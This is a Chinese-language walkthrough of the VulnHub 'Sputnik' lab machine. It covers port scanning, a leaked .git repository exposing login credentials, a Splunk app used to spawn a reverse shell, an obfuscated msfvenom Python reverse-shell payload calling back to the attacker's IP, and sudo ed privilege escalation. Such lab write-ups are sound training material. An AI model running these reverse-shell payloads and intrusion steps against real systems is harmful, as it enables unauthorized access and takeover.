靶机地址:https://download.vulnhub.com/sputnik/Sputnik.ova
信息收集
主机发现
kali ip:192.168.233.128
靶机ip:192.168.233.143
端口扫描
打开了端口 8089、55555 和 61337,端口 55555 具有关联的 IP 地址和 git 存储库的目录链接!
nmap -p- -A 192.168.233.143
对发现的端口进行服务版本扫描
nmap -sV -p 8089,55555,61337 192.168.233.143
访问8089端口
发现是这样的
点击rpc
点击services和servicesNS是一个登录框
点击static
访问55555端口
访问61337端口,splunk enterprise登陆界面
Git库泄露
访问git:http://192.168.233.143:55555/.git/,存在信息泄露
继续访问Logs目录并单击其中的HEAD文件:http://192.168.233.143:55555/.git/logs/HEAD
0000000000000000000000000000000000000000 21b4eb398bdae0799afbbb528468b5c6f580b975 root <root@sputnik.(none)> 1553864873 +0000 clone: from https://github.com/ameerpornillos/flappy.git
有一个Git的链接,看看是怎么个事
对代码仓库进行clone
git clone https://github.com/ameerpornillos/flappy
3.4 源代码结构如下
使用git log命令用于显示代码提交的历史日志记录,在历史记录中找到一个secret记录
git log -p
使用账号密码去访问刚刚的登录页面,也就是61337端口
账号:sputnik
密码:ameer_says_thank_you_and_good_job
Splunk Shell获取
在splunk上安装github公开工具,获取其shell并武器化
Splunk Shells 应用程序版本 1.2
TBG 安全 Ryan Hays
此应用程序可帮助在部署了 Splunk 的环境中进行渗透测试和红队测试。
该应用程序将允许工程师从 Splunk 服务器生成反向绑定 Shell,以允许工程师与服务器交互并扩大环境内的影响力。
下载地址:https://github.com/TBGSecurity/splunk_shells/archive/1.2.tar.gz
然后在splunk中选择"Manage Apps" 并且点击 "Install app from file"
我们向下滚动找到我们的 shell 文件,如下所示。在运行之前,我们需要单击“权限”选项来更改其权限。
在最后一条发现部署上传成功!点击:Permissions,勾选:All apps,点击:Save保存,
点击左上角Apps:Search & Reporting
kali开启监听
| revshell std 192.168.233.128 9999
反弹shell
获得交互式shell
which python
我们使用 Msfvenom 创建了一个 Python 有效负载。
msfvenom -p cmd/unix/reverse_python lhost=192.168.233.128 lport=6666 R
有效载荷通过我们现有的 Netcat 会话上传,需要做的就是将有效载荷粘贴到终端并执行,在执行之前,需要再监听6666端口,也就是Msfvenom 创建一个python交互式shell
python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFkNELgjAQxv+VsacJMtusKGIPEgYRFaTvkmuhZNvw5v9fY6KP3svx3f2+++DarzW9Q2DkRznkK4ahtr2RCiBoEzpCB9QYcAKzPadsu6M8TSlbp3ha+1Ni869pAiJcpqGRUWWn6nzLyzEvzIr78VIV5SPPrtHsp9JoraQjxGcHg4+JZsYAfQ2WE6DvtlPakLCKV8sIW0b4jFgxv4bKZ9cRnNStTqDB0Q8Avlfx')[0])))"
本地提权
使用sudo命令,查看能够执行哪些sudo命令,发现ed能够以sudo的方式执行
在网站检索ed命令,看看有没有提权的方式,选择sudo的形式,找到提权payload
成功提权